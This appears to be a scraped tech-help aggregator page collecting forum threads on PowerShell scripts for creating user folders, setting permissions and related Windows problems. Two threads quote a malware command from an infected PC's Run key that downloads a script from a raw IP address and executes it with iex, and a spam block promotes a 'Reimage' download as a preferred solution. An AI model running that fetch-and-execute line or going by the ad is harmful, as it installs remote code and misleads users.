Over 1 million tech questions and answers.

powershell script to create user folders and set permissions

Q: powershell script to create user folders and set permissions

Wondering if anyone in this forum can help me figure out what I am doing wrong with my script. I am grabbing a text file with a list of users in it. I want to then create folders for all those people and then set explicit permissions on those folders to only allow the users and admin access to it. So for the create user folder, I have...

$Users = Get-Content "C:\Users.txt"
ForEach ($user in $users)
{
$newPath = Join-Path \\mycomputer\Users$ -childpath $user
New-Item $newPath -type directory
}

This works great as I now have 100 folders created. But how do I use something like....

$acl = Get-Acl "\\mycomputer\users$"
$permission = "mydomain\$users","FullControl","Allow"
$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
$acl.SetAccessRule($accessRule)
$acl | Set-Acl \\mycomputer\users$\$user

When I try to loop these together it says the folder already exists or the setaccessrule identity references could not be translated.

Anyone know how I loop it in with creating the folder? Or is there a way to just say...create folder based on this username, then take that username and make it the only admin on the folder along with the system admin??

RELEVANCY SCORE 200
Preferred Solution: powershell script to create user folders and set permissions

I recommend downloading and running Reimage. It's a computer repair tool that has been proven to identify and fix many Windows problems with a high level of success.

I've used it in the past to identify and fix everything from blue screens (BSOD's), ActiveX errors, corrupt files and processes, dll/exe/sys errors, recover lost memory, Windows update problems, defragging, malware removal etc.

You can download it direct from this link http://downloadreimage.com/download.php. (This link will automatically start a download of Reimage that you can save to your computer.)

A: powershell script to create user folders and set permissions

answered my own problem...but maybe someone can help me out from here. This works for creating folders and setting permissions.

$Users = Get-Content "C:\Users.txt"
ForEach ($user in $users)
{
$newPath = Join-Path "\\myserver\Users$" -childpath $user
New-Item $newPath -type directory

$acl = Get-Acl $newpath
$permission = "mydomain\$user","FullControl","Allow"
$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
$acl.SetAccessRule($accessRule)
$acl | Set-Acl $newpath
}

Anyone know how I would then look at an old server with user folders and do a stare and compare between the old and the new ones I just created? And once I find a folder that matches I want to grab all the contents in the old server and robocopy it over to the new server.

Read other 3 answers
RELEVANCY SCORE 81.2

Hi to all,
I would like to create a powrshell script that will exectute a scheduled task on Windows 7 X64.I tried to find it on Internet without solving my problems.Please find below the description of what i want.
Purpose: Create Powershell script to run a scheduled task

What does the scheduled task do? Execute the following command when starting the PC: 

Regsvr32 /s C:\Windows\SysWOW64\oleacc.dll
with the system account of the machine concerned.This task is performed when the PC is restarted.
i'm a beginner in powershell.
THank you for your help.
Regards,

Read other answers
RELEVANCY SCORE 72

Ok my tech-heads, i need a little help with this one.
 
I am running windows 7 standard retail, fully updated and with one account that is mine and with admin rights.  A few days ago, i suddenly found that i could not delete some files and could not make new folders.  It tells me that i need permission to do so or that access is denied.  It seems that i have lost admin rights.
 
Over the last few days, i have tried the following but to no avail........
 
1) Have run a full virus scan.  No problems found.
 
2) Have run various programs like malwarebytes/hitman/rougekiller/tdsskiller. No problems found.
 
3) Run cmd and scan now program.  No files corrupted.
 
4) tried three system restores via recovery disk.  Successful restore but no change to permissions.  Tried system restore via desktop but none found??
 
5) Tried stopping anti-virus and firewall, then seeing if i can do it.  No change.
 
6) Googled problem and followed various instruction and videos about changing permissions via properties/ security tag etc.  No change.
 
7) Downloaded reg files to try and change the registry, but i cannot do it without permission. (oh the irony)
 
8) Cried and shouted at the laptop.  No change.
 
9) A friend directed me to your forum and told me to run combofix.  No change.
 
10)  Finally, i have opened the hidden admin account, back up my important files and i am read... Read more

A:Lost admin permissions/cannot delete or create folders?

Have just realised that this should be in malware section re: rules on log files sorry.  please reply if you can help otherwise i will move post to that section.  
 
Sorry admins...............

Read other 2 answers
RELEVANCY SCORE 72

Ok my tech-heads, i need a little help with this one.
 
I am running windows 7 standard retail, fully updated and with one account that is mine and with admin rights.  A few days ago, i suddenly found that i could not delete some files and could not make new folders.  It tells me that i need permission to do so or that access is denied.  It seems that i have lost admin rights.
 
Over the last few days, i have tried the following but to no avail........
 
1) Have run a full virus scan.  No problems found.
 
2) Have run various programs like malwarebytes/hitman/rougekiller/tdsskiller. No problems found.
 
3) Run cmd and scan now program.  No files corrupted.
 
4) tried three system restores via recovery disk.  Successful restore but no change to permissions.  Tried system restore via desktop but none found??
 
5) Tried stopping anti-virus and firewall, then seeing if i can do it.  No change.
 
6) Googled problem and followed various instruction and videos about changing permissions via properties/ security tag etc.  No change.
 
7) Downloaded reg files to try and change the registry, but i cannot do it without permission. (oh the irony)
 
8) Cried and shouted at the laptop.  No change.
 
9) A friend directed me to your forum and told me to run combofix.  No change.
 
10)  Finally, i have opened the hidden admin account, back up my important files and i am read... Read more

A:Lost admin permissions/cannot delete or create folders?

Mods, please lock as i have solved it myself.
 
Cheers.

Read other 3 answers
RELEVANCY SCORE 71.2

2017-04-20 10:35:38Successfully sent task to the Device Management Gateway 2017-04-20 10:35:44 Task has been retrieved by the Agent. 2017-04-20 10:36:18 Successfully configured BootCommand to "disable". 2017-04-20 10:36:18 Successfully configured WFType to "". 2017-04-20 10:36:18 Successfully executed ConfigWriteFilter task. 2017-04-20 10:36:18 Successfully executed common task. 2017-04-20 10:36:18 Map repository to: Master Repository 2017-04-20 10:36:18 Successfully sent task to the Device Management Gateway 2017-04-20 10:37:45 Task has been retrieved by the Agent. 2017-04-20 10:37:50 Deploy files using repository Master Repository. 2017-04-20 10:37:50 Successfully downloaded RenameTC.ps1 to C:\Windows\ from /Repository/Files/ToDeploy/Make a Change Template. 2017-04-20 10:37:50 Successfully executed DeployFiles task. 2017-04-20 10:37:50 Successfully executed common task. 2017-04-20 10:37:50 Successfully sent task to the Device Management Gateway 2017-04-20 10:37:56 Task has been retrieved by the Agent. 2017-04-20 10:38:06 Execution result (below): 2017-04-20 10:38:06 C:\Windows>powershell C:\Windows\RenameTC.ps1 2017-04-20 10:38:06 C:\Windows\RenameTC.ps1 : File C:\Windows\RenameTC.ps1 cannot be loaded 2017-04-20 10:38:06 because running scripts is disabled on this system. For more information, see 2017-04-20 10:38:06 about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170. 2017-04-20 10:38:06 At line:1 char:1 2017-04-20 10:38:06 + C:\Windows\RenameTC.ps... Read more

Read other answers
RELEVANCY SCORE 70.8

Hi,I tend to do the following alot:
Create multiple folders, give them specific names
open the folders, fill them with shortcuts to programs
change the names of the shortcuts
change the icons of the shortcuts

So I am wandering, is it possible to create a script to do the above?

1.) create several folders, give them different names
2.) fill the folders with shortcuts to programs having the correct names and icons
 

A:script - create folders containing shortcuts to programs

Copy the code below into a text file and rename the .txt extension to .vbs

Just change the "Create Folder Path" (line 2) to reflect where you want the destination folder to be created. Also change the Save Path and Link name in line 4 as well as the Target path of your application in line 5. Save the file and then double click to execute. You will need to refresh your desktop or directory by clicking F5 in order to show the newly created folder. In my example below I copied the file MSConfig.exe to the root of my C: drive and then used the script to create a shortcut to it inside the folder "Test" on my desktop. I'm not sure how to change the icons via code so maybe someone else could help out ??
Code:
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.CreateFolder("C:\Documents and Settings\euza116\Desktop\Test")
Set objShell = WScript.CreateObject("WScript.Shell")
Set objShortCut = objShell.CreateShortcut("C:\Documents and Settings\euza116\Desktop\Test\Your_Link_Name.lnk")
objShortCut.TargetPath = "C:\MSConfig.exe"
objShortCut.Description = "Shortcut_to_ MSConfig"
objShortCut.Save

Here is the same code in VBA Just change the path names to reflect the correct application and save paths. You can add this code to a module within MS Word or Excel or other MS Office Application.
Code:
Public Sub CreateDirectory()

Set objShell = CreateObject("WScript.Shell"... Read more

Read other 3 answers
RELEVANCY SCORE 69.6

I was currios if anyone knows a way to setup a user so they can only log into shared folders on a computer from a second computer but not let them use the login on the computer with the shares. If that makes any sense.... Both computers are using XP SP2 and the computer with the shared folders has simple file sharing disabled.

A:XP User Permissions for shared folders

Set up the folders on thier PC as a network drive and have the PC remember the password (assuming XP Pro); that way they do not have to know the user ID or password. Just make sure that ID and password is in the folder permissions

Read other 1 answers
RELEVANCY SCORE 69.2

I was wondering if there was a way to create a set of folders in a specific directory according to a date range that i input.

ie.

Select start date 2011 10 01

select end date 2012 10 01

Select Output path of c:\users\XXXX\desktop\export data

and it creates a folder for all days from 2011 10 01 through 2012 10 01 and places them in the output path i have set for it.

any help would be greatly appreciated.

Thank you

A:Is there a Script or batch file that can create folders by date range

Welcome damjohnron to the windows 7 forums.

Here are some snippits of a dos batch file that will create a directory with the datek and tell you if it already exists.


set DATEST=%DATE:~10,4%%DATE:~4,2%%DATE:~7,2%
echo %datest%
rem if it looks ok, then you can press enter to continue
pause
if exist %homepath%\documents\%datest% goto dup1
md %homepath%\documents\%datest%
rem the pause can be taken out if you wish.
pause
go to end
:dup1
rem you already have done this.
pause
:end

you can change the path statement to the directory you wish.

This batch file can be run each day that you want to create a new sub directory.
There are other ways to do this but a bit more complicated such as reading an external
text file for the directory names.

Rich

Read other 4 answers
RELEVANCY SCORE 69.2

Hi,

Trying to wipe old HD's. Erasure of the whole drive is needless waste; I just want to wipe the sensitive stuff.

BUT, those permissions refuse to let go. I've searched this forum & web (long time) and tried everything: changing ownership, running as admin, every possible nook&cranny I could find.

Anyway to get rid of them once and for all? Short of killing the partition and wiping empty space?

Thanks

A:Permissions Headache - trying to erase User folders

Try: Add yourself (user account logged in) to root of drive and give full control.

Read other 7 answers
RELEVANCY SCORE 68.4

The computer started acting strangely, like redirecting Chrome to Google and occasionally the blue screen all that has stopped, but while looking around I noticed there were folders I did not create and User settings I had not changed. Normally I am the only user and administrator and guest acct is turned off.  However, now there was user "fbwuser" account and other accts. which seem to have disappeared. Still there are random folders throughout (i.e. Public Videos) and others to which I get denied access. At times I get the feeling it is being accessed remotely, but all this is very new to me,
so I don't know where to start.
 
below is the dss & also attached the .txt 
 
 
DDS (Ver_2012-11-20.01) - NTFS_AMD64 
Internet Explorer: 9.0.8112.16476
Run by Ivan Gabriel at 11:25:25 on 2013-05-09
Microsoft Windows 7 Home Premium   6.1.7601.1.1252.1.1033.18.3561.1404 [GMT 7:00]
.
AV: Lavasoft Ad-Aware *Enabled/Updated* {E0D97DD4-42BA-B3F2-A5A7-22E9ACE81FC7}
SP: Windows Defender *Enabled/Updated* {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
SP: Lavasoft Ad-Aware *Enabled/Updated* {5BB89C30-6480-BC7C-9F17-199BD76F557A}
FW: Lavasoft Ad-Aware *Disabled* {D8E2FCF1-08D5-B2AA-8EF8-8BDC523B58BC}
.
============== Running Processes ===============
.
C:\Windows\system32\lsm.exe
C:\Windows\system32\svchost.exe -k DcomLaunch
C:\Program Files (x86)\IObit\Advanced SystemCare 6\ASCService.exe
C:\Windows\system32\svchost.exe -k RPCSS
C:\Window... Read more

A:Creates User accounts, public folders, changes permissions.

Hello, Welcome to BleepingComputer.I'm nasdaq and will be helping you.If you can please print this topic it will make it easier for you to follow the instructions and complete all of the necessary steps.===Third party programs if not up to date can be the cause of infiltration an infection.Please run this security check for my review.Download Security Check by screen317 from here.Save it to your Desktop.Double click SecurityCheck.exe and follow the onscreen instructions inside of the black box.A Notepad document should open automatically called checkup.txt; please post the contents of that document.===Search and delete the AdWare, PUP (Potentially Unwanted Program) installed on your computer.Please download AdwCleaner by Xplode onto your Desktop.Close all open programs and internet browsers.Double click on AdwCleaner.exe to run the tool.Click on Delete tab follow the prompts.A log file will automatically open after the scan has finished.Please post the content of that log file with your next answer.You can find the log file at C:\AdwCleaner[Rn].txt (n is a number).===Please download ComboFix from any of the links below, and save it to your desktop. For information regarding this download, please visit this web page: http://www.bleepingcomputer.com/combofix/how-to-use-combofixLink 1Link 2IMPORTANT !!! Save ComboFix.exe to your Desktop1. Close any open browsers.2. Close/disable all anti virus and anti malware programs so they do not interfere with the running of ComboFix.3. Do ... Read more

Read other 19 answers
RELEVANCY SCORE 66.8

You know when you click your profile name on the start menu and you see all your personal folders (Desktop, Docs, Pics, Music, Vids... etc.)

Each time I install a new computer, I move those to the D drive. Does anyone have a script for this?

Open the Start menu and click your user name to open the User folder
Right-click the personal folder you want to redirect to another location.
Select ?Properties?
Click the tab ?Location?
The dialog box shown below will open
Click the button ?Move?
An Explorer dialog ?Select a destination? will open
Browse to the location where you want to redirect this folder. You can select another location on this computer, another drive attached to this computer, or another computer on the network
Click the folder where you want to store the files
Click the button ?Select Folder?
Click ?OK?
In the dialog that appears, click ?Yes? to move all the files to the new location.

A:Move user personal folders with script

This wont help with current machines but, with new machines after you add them to the domain but before adding the user, in other words log in as the domain admin first.

Open the registry and browse to
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList

change the ProfilesDirectory key to where you want them to point. This will work for any future users added to the machine

Read other 1 answers
RELEVANCY SCORE 66.8

I recently suffered a hrd disk failure and I was forced to extract the data from the faulty disk using a Linux distro (which managed to access all the files just fine while windows complained the partitions were unformatted). I then incorporated the files into my new Windows 7 installation and soon found out I could not access the files because I didn't have the necessary permissions. Since changing permissions for 1000+ files one by one is rather tedious I browsed this forum for an alternate solution and found out I could change file permissions for a folder 1 or more levels higher, including all files and folders inside said top level folder.

While applying new permissions to my <username> folder I was prompted to confirm if I wanted the Appdata folder to be changed as well. I really didn't know, but decided against. Even so, since I made the change I am having problems installing programs (can only do so as admin) and several programs have started informing of problems like:

Failed to create temporary folder:
C:\Users\<username>\Appdata\Local\Temp\<foldername>

My questions therefore are as follows:

- what permissions do I need to set for the individual folders from <username> down? Are they all supposeed o be owned by the user?
- what can I do to correct the current behaviour of my installation and to regain control over installing programs as a user?
- ... or is something different causing the problems I am experiencing?

I am using Windows 7 U... Read more

A:File permissions for individual user folders, program install errors

In command prompt

Code:
cd %userprofile%
cacls *.*>cacls.txt
Post cacls.txt. You may delete the file afterwards

Read other 9 answers
RELEVANCY SCORE 65.2

I'm trying to change some icons. I know some software allowing to apply icon packs (Stardock, tuneup utilities) but they only change system folders and file types. What I want is to be able to change specific folder icons.

For example in my User folder I have some subfolders (backups, projects, icons etc). I want something that allows me to change all of those folder icons together and save them as a theme so I can apply different icon themes when I want to.

A:How do I create icon sets/themes for user folders?

Welcome to the Seven Forums
Changing individual folder icons in some kind of theme pack I do not think it is possible. You may want to look at Rainbow Folder here Programy Aionela (English Version) - Free software for everyone ! where you can change the individual folder color but you will lose thumbnail previews and large folder view.
Jerry

Read other 2 answers
RELEVANCY SCORE 60

Hi, I am running a logon script that elevates to run as admin. But users get the popup message every time they log in.

Is there way to add the script as trusted so once a user clicks yes it adds as a trusted script and runs every time without the UAC popup thereafter. Thanks
powershell -noprofile -command "&{ start-process powershell -ArgumentList '-noprofile -file DataBackup.ps1' -verb RunAs -WindowStyle Hidden}"
 

Read other answers
RELEVANCY SCORE 60

Background: I have some text files I want to copy only specific text from. Can I start and stop with certain identifiers within the file?

The files I need to split have a heading and footer with a bunch of *s. Is there any way I can look for a specific number of *s and tell the script to copy everything between the header and footer?

They're not a header and footer per se, but these *s surround the data which I actually want.

A:Powershell Script Help

I've done some thought on this and is there a way to do something like this:

$asterisk = "***************************************"

read file lines

count asterisk

while asterisk = 3

copy data to another file

when asterisk = 4

stop and go to next file

I'm fairly new to scripting. This makes logical sense in my mind, but I'm not quite sure how to run it.

Read other 1 answers
RELEVANCY SCORE 59.2

I am trying to clean an infection on a computer.  I have removed everything but this.  Every time I reboot.  I get a powershell window open with a bunch of numbers in it.
 
cmd.exe /c start C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -command "$a = New-Object System.Net.WebClient; $b = $a.DownloadString('http://37.228.88.167:80/landing?action=psf&pubid=0&subid=0&systemhash=1958591137'); iex $($ B)"
 
Has anyone run across this before?  I searched the forums and came across one but the topic was closed. http://www.bleepingcomputer.com/forums/t/574756/powershellexe-script-running/
 
I have run Malwarebytes and removed malware. I have also run roguekiller to remove poweliks.
 

A:powershell.exe script running

Hey!
 
First let's attempt to remove the registry key that causes that powershell windows to open:
 
1. Press the Windows key and the "R" key at the same time, and then type this in the window that opens: regedit

 
2. Windows registry editor will open. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Windows\Currentversion\Run, using the menu on the left. If you do not know how to use regedit, here's a guide. However, it's really simple and I doubt you need a guide
 
3. When you're there, on the right side of the screen, find the item which "data" begins with cmd.exe /c start C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe, and right click and delete it!
If it's not there, please check if it's in  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run, and delete it.
Warning: only remove that item I mentioned! Don't delete anything that isn't in those two locations, and which data doesn't start with cmd.exe /c start C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
 
Now the powershell shouldn't start when you boot the PC. However, your PC may still be infected.
You know how to run Malwarebytes, so please do a scan and remove the malware it finds. If it asks you to restart the PC, say "yes". Then, open Malwarebytes, select the "History" tab on the top, click the most recent "scan log", and on the window that opens, on the bottom, click "export --> copy to clipboard" and paste it here.

 
-------------------
T... Read more

Read other 5 answers
RELEVANCY SCORE 59.2

Hi,

I have this powershell script that keeps on saying the length of the SID is wrong, or that I have invalid chars in the SID. The script is supposed to add an outbound firewall rule which blocks all traffic from a local user . The environment is Windows 10. Just change the username 'owner' to any user name on your system.

function getSID {
$objUser = New-Object System.Security.Principal.NTAccount($args[0])
$strSID = $objUser.Translate([System.Security.Principal.SecurityIdentifier])
$strSID.Value }

new-netfirewallrule -displayname 'Block User' -direction outbound -action block -localuser (getSID 'owner')

Click to expand...

So I tried using the output of the function directly as a string and it still complains of the same thing:
new-netfirewallrule -displayname 'Block User' -direction outbound -action block -localuser 'S-1-5-21-111336864-2315030922-3644749520-1001'Click to expand...

Any ideas ?

I have to use Powershell because in their command it has the 'localuser' option, which is not available when using 'netsh advfirewall', the command line tool. Apparently netsh is not going to be updated anymore, and Powershell is the way forward.

The manual way of doing this is to use Windows Administrative Tools > Windows Firewall with Advanced Security. Creating a outbound, custom rule which just blocks. Then go back into the rule's properties and the Local Principals tab will appear, where you ... Read more

A:Can't get this Powershell script to work

Read other 6 answers
RELEVANCY SCORE 59.2

kindly help me sample powershell script to below sceanrios
1) just to find dll versions for list of machine
2) just to find add and remove program from list of machines
3) just to find installed KB or patches from list of machines

Read other answers
RELEVANCY SCORE 59.2

I am trying to clean an infection on a computer.  I have removed everything but this.  Every time I reboot.  I get a powershell window open with a bunch of numbers in it.   Under HKCU\Software\microsoft\run I have a key called winsystem with this in it.
 
cmd.exe /c start C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -command "$a = New-Object System.Net.WebClient; $b = $a.DownloadString('http://37.228.88.167:80/landing?action=psf&pubid=0&subid=0&systemhash=1958591137'); iex $($b)"
 
I removed the key several times and it just comes back.  I have run the following programs.
 
Combofix
AWDcleaner
Norton Power eraser
malwarebytes
 
 
HJT log file attached.
 
Has anyone run across this before?  I searched the forums and did not find anything.

A:Powershell.exe script running.

Hello, Welcome to BleepingComputer.I'm nasdaq and will be helping you.If you can please print this topic it will make it easier for you to follow the instructions and complete all of the necessary steps in the order listed.===Download the version of this tool for your operating system.Farbar Recovery Scan Tool (64 bit)Farbar Recovery Scan Tool (32 bit)and save it to a folder on your computer's Desktop.Double-click to run it. When the tool opens click Yes to disclaimer.Press Scan button.It will make a log (FRST.txt) in the same directory the tool is run. Please copy and paste it to your reply.The first time the tool is run, it makes also another log (Addition.txt). Please attach it to your reply.===p.s.HijackThis is not ready for windows 7 and above.I suggest you remove it using the Add/Remove Programs applet.Use the the Farbar tool from no own to report problems.

Read other 2 answers
RELEVANCY SCORE 59.2

Hello,
I need to make an installation script for Messag Analyzer 1.4. After installation, the welcome screen, updates, user contact and Telemetry should be disabled. I don't find any installation switches to do that. I've found that app.applicationconfiguration
is used to store those configurations but it is created after I manually do the configuration.
I'd like to disable these parameters during installation. I don't want the users manually configure these settings.
Can you help me with that issue please?
Thanks for your time!

Jack

Read other answers
RELEVANCY SCORE 59.2

Ok, so this doesn't necessarily have to do with Windows 7, but I originally wanted to reply to a post on Vista forums and somehow I ended up here. Anyway...

I actually tried all of this on Windows Server 2008 - set policies, scripts and logged on there.
Here's one way that actually works. 1) created a logonScript.ps1 file with whatever in it for the actual logon script. 2) created GPO with a policy for running a logon script and specified a vbScript file: launcher.vbs. 3) put those two files in the same folder related to the policy if you know what I mean.
The launcher.vbs contains:
[
' set up objects
Set WshShl = WScript.CreateObject("WScript.Shell")
Set fileSys = CreateObject("Scripting.FileSystemObject")
Set scriptFile = fileSys.GetFile("logonScript.ps1")

WshShl.Run("PowerShell.exe -NoLogo -NoProfile -command ""&{set-executionpolicy Unrestricted;&'" & scriptFile & "'}""")
]
That last line causes something like:
'PowerShell.exe -NoLogo -NoProfile -command "&{set-executionpolicy Unrestricted;&'\\IT270\sysvol\IT270.com\Policies\{AAD5280F-A3B7-4F65-B15B-27E6F92BA431}\User\Scripts\Logon\logonScript.ps1'}"
to run.
The one remaining problem is that I still get a prompt asking me if I want to run the script or not. If I set the IE intranet zone trusted sites to have file://IT270 then that prompt goes away. Unfortunately, setting it with Group Policy didn't work. I had to do ... Read more

A:PowerShell logon script

I've also created a Powershell login script here which I run not using Group Policy but from the user's AD account as part of their actual login script.

Powershell login script to map network drives, printers and applicaton settings

Hope this helps others out.

Read other 1 answers
RELEVANCY SCORE 59.2

# Need to create 100 mailboxes using the powershell script"
$DefaultPW = read-host "Enter Password" -AsSecureString

import-csv "C:\ExchangeTest1.csv" | Foreach-object {

$Fname = $_.FName
$LName = $_.LName
$User = $_.Username
New-Mailbox -UserPrincipalName $[email protected] -Alias $User -Database "MB1" -Password $DefaultPW -FirstName $FName -LastName $LName -ResetPasswordOnNextLogon $true

}
 

Read other answers
RELEVANCY SCORE 58.8

I am writing a script to change my computer settings when I go to work and change them back when I get home.

I would like to know how to script turning on/off Airplane Mode. If that's not possible, how do I script turning on/off wireless and Bluetooth?


Code:
$Office = 'e40fb68e-3e3a-4942-aa68-0490b7e7a790'
$Balanced = '381b4222-f694-41f0-9685-ff5bb260df2e'
$currHour = (get-date).hour
if ($currHour -ge 7 -and $currHour -le 14) {
powercfg -SetActive $Office

#Disable-NetAdapter -Name "Wi-Fi"
#Start-Service -displayname "Bluetooth service"

} else {

powercfg -SetActive $Balanced

#Enable-NetAdapter -Name "Wi-Fi"

#Stop-Service -displayname "Bluetooth service"
}

A:Powershell script Airplane Mode

Hello Jesus, and welcome to Eight Forums.

I'm not sure about with a PowerShell script, but you might see if the shortcuts below to turn Airplane Mode off and on may work for you. You could pin or use them where you like.

http://www.eightforums.com/tutorials...ndows-8-a.html

Hope this helps,
Shawn

Read other 7 answers
RELEVANCY SCORE 58.8

I work in a school and was wanting to get some help with setting up a logon script. In our school we have a few computer rooms where students would take exams on a pc. So for example a room would be in D block and the room number would be 6. We also have 'test' accounts which we deny access to Internet and other such things. What I would like to know is how would a script work to login each computer as a test user on each computer in D6.

Read other answers
RELEVANCY SCORE 58.8

Code:
set LISTFOLDER=D:\List\
set FILESPATH=D:\Igre\COD-MW2\main\images
set DESTPATH=D:\Igre\COD-MW2\main\images\thepit

REM for /r %LISTFOLDER% %%I in (*.txt) do echo xcopy /qvs "%FILESPATH%\%%~nxI" "%DESTPATH%%%~pnxI"
for /r %LISTFOLDER% %%I in (*.txt) do xcopy /qvs "%FILESPATH%\%%~nxI" "%DESTPATH%%%~pnxI"
This script does not work.

The poster on another fourum said it could be a typo or something, but no further info was provided what the correct script is, although he had no errors, he mentioned it could be environment, I'm on win7 x64.

I have another similar script for filenames in a txt only, which appears to work, but it doesn't work because I have filespath in the txt, in the meantime i'll manually remove paths to see if it'll work with that, but still this script would be handy to save time in future.

A:CMD or Powershell Moving - script not working

I've got it working a bit more with filenames


Code:
@echo off

set FILELIST=D:\List\imageFilenames.txt
set FILESPATH=D:\Igre\COD-MW2\main\images
set DESTPATH=D:\Igre\COD-MW2\main\images\thepit

for /f %%X in (%FILELIST%) do call :COPY_FILES "%%X"
goto :eof

:COPY_FILES
for /r %FILESPATH% %%I in (%~1) do xcopy /qvs "%%I" "%DESTPATH%%%~pnxI"
But the error is

"cannot perform cyclic copy"

Read other 2 answers
RELEVANCY SCORE 58.8

Hey guys, and thanks for the help in advance!  Rather than hijack another's thread I will wreak my havoc here.
 
From what I just read (Thanks to Didier Stevens) I see that I have an older version of PowerShell, and that this Script won't work.  Here is my outcome.  I will go try to find the info on Updating Powershell, and then try the script again.  Any advice on that would be nice, if there is anything to avoid etc.  Hopefully this will also help others with this issue.

Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> Install-Module SpeculationControl
The term 'Install-Module' is not recognized as the name of a cmdlet, function, script file, or operable program. Check
the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:15
+ Install-Module <<<< SpeculationControl
+ CategoryInfo : ObjectNotFound: (Install-Module:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Windows\system32> get-host|Select-Object version

Version
-------
2.0
PS C:\Windows\system32>

I am a little confused about what this Script does?  Is it that not all CPU's are vulnerable?  My CPU does not have a current firmware update so it may be vulnerable at this time (though not to worried about it ATM) I have time to work on it now, so I'll try to move for... Read more

A:Meltdown and Spectre Powershell-Script Won't Run, Me Too!

You need to install the Windows Management Framework to update PowerShell.
Take a look at the table here to see which version is compatible with your Windows version:
 
https://docs.microsoft.com/en-us/powershell/wmf/readme

Read other 5 answers
RELEVANCY SCORE 58.8

Hi, I'm looking for some help!
I'm trying to write a script that will set the default printer to PRINTER3 if the current default printer is called PRINTER1, then exit powershell. I have hundreds of devices in different locations to change so this would be very helpful if someone could
help.
Here is what I have so far:

Set-Content C:\Temp\current.txt (Get-WmiObject -namespace root\cimv2 -Query ?select * from Win32_Printer Where Default = TRUE? | select -ExpandProperty name)
$current=get-content C:\Temp\current.txt
if (-eq ($current - 'PRINTER1'))
{
(Get-WmiObject -Class Win32_Printer -Filter "Name='PRINTER3'").SetDefaultPrinter()
}
exit

Thanks
Mark

Read other answers
RELEVANCY SCORE 58.8

I work in a school and was wanting to get some help with setting up a logon script. In our school we have a few computer rooms where students would take exams on a pc. So for example a room would be in D block and the room number would be 6. We also have 'test' accounts which we deny access to Internet and other such things. What I would like to know is how would a script work to login each computer as a test user on each computer in D6.

Read other answers
RELEVANCY SCORE 58.8

Hello, I have a PowerShell Script I would like to run at any user logon. I have set task scheduled to run the script. But the message the script is to pop up is not showing. Does anyone have any ideas about why the pop up message in the scheduled script
is not showing?
I will add that the script does work. I can run the script and the message pops up. But, trying to run it from the task scheduler, nothing happenings. The Task Scheduler last run result, says completed successfully. But still the message does not show.
Thanks

TechNet Forums

Read other answers
RELEVANCY SCORE 58

I need some help getting the below to work. I must use WinrM witrh a server list.. can anyone help ?

$sessions = get-content D:\Powershell\Space\Allservers.txt | New-PSSession
$block = {
function Get-DriveSpace
{
[cmdletbinding()]
param( [Parameter(Mandatory=$true)]$computer , [int]$thresholdMultiplier=.20 )
[string]$filter = "DriveType = '3'"
try{
Get-WmiObject -class win32_logicaldisk -filter $filter -comp $computer |
Select-Object Name,@{label="SizeMB";Expression={[Math]::Truncate($_.Size / 1MB)}},
@{label="FreeMB";Expression={[Math]::Truncate($_.FreeSpace / 1MB)}},
@{label="WarningMB";Expression={[Math]::Truncate(($_.Size * $thresholdMultiplier) /1MB)}}|
Where-Object{$_.FreeMB -le $_.WarningMB}
} catch {
Write-Verbose "Error $Error in getting disk space for $computer"
}
}
}
[string]$body = Invoke-Command -ScriptBlock $block -Session $sessions | Select sizeMB,freeMB,WarningMB | Sort WarningMB | ConvertTo-Html
Send-MailMessage -SmtpServer " " -From " " -To " " -Subject "Servers Less Than 20% Free" -Body $body -BodyAsHtml

A:Powershell script for disk space - pssession

Hello and welcome to the forum.

I think I know the member who can help you I will forward this to him.

Read other 1 answers
RELEVANCY SCORE 58

kindly let me how to install exe on mutiple machines using powershell script (input file will be txt or csv)

Read other answers
RELEVANCY SCORE 58

Hope I'm in the right place!

I am trying to get a Powershell script to run daily in the task scheduler. It basically purges a folder on one of my drives:

Get-ChildItem ?Path ?D:\Dropbox\Quicken\Backup? ?Recurse | Where-Object CreationTime ?lt (Get-Date).AddDays(-10) | Remove-ItI

I can run it from a CMD prompt and I set it up in the task scheduler and it seemed to run one time on schedule and then hasn't run since that initial time. I have tried to run it manually from the task scheduler but it gets and error "Task Start Failed."

I have attached copies of the properties tabs and the main view of the task scheduler with the History showing. Any ideas? I didn't find a tutorial, but I'm sure there is something on the website!

Cordially,

Al Guden

TS-TaskView.pdf
PROPERTIES-Settings.pdf
PROPERTIES-Actions.pdf
PROPERTIES-Triggers.pdf
PROPERTIES-General.pdf
PROPERTIES-History.pdf
PROPERTIES-Conditions.pdf

Read other answers
RELEVANCY SCORE 58

Hi all,
forgive me if this is the wrong folder.
I am googling scripts to find a PS script to count file types and files in several directory's on our network.
I am a noob on powershell, and I'm trying to experiment.
I have several directory's on my "Libraries" directory on my pc at work. I'm just trying to test a PS script to get this to work to count the files and list the file types in my "Libraries\Documents\Tidbits" folder.


Code:
Get-ChildItem \\hilltop3\users$\LongRandy\My Documents\TIDBITS
but I get this error:"Get-ChildItem : Cannot find path '\\hilltop3\users$\LongRandy\My' because it does not exist.
At line:1 char:14
+ Get-ChildItem <<<< \\hilltop3\users$\LongRandy\My Documents\TIDBITS
+ CategoryInfo : ObjectNotFound: (\\hilltop3\users$\LongRandy\My:String) [Get-ChildItem], ItemNotFoundExc
eption
+ FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand"

How can I put in the ENTIRE file path? It just arbitrarily truncates the path?

Thanks again

A:Powershell script to count file types

You may find someone qualified for answering this here but your best bet is a place like this https://social.technet.microsoft.com...rverpowershell

Read other 2 answers
RELEVANCY SCORE 58

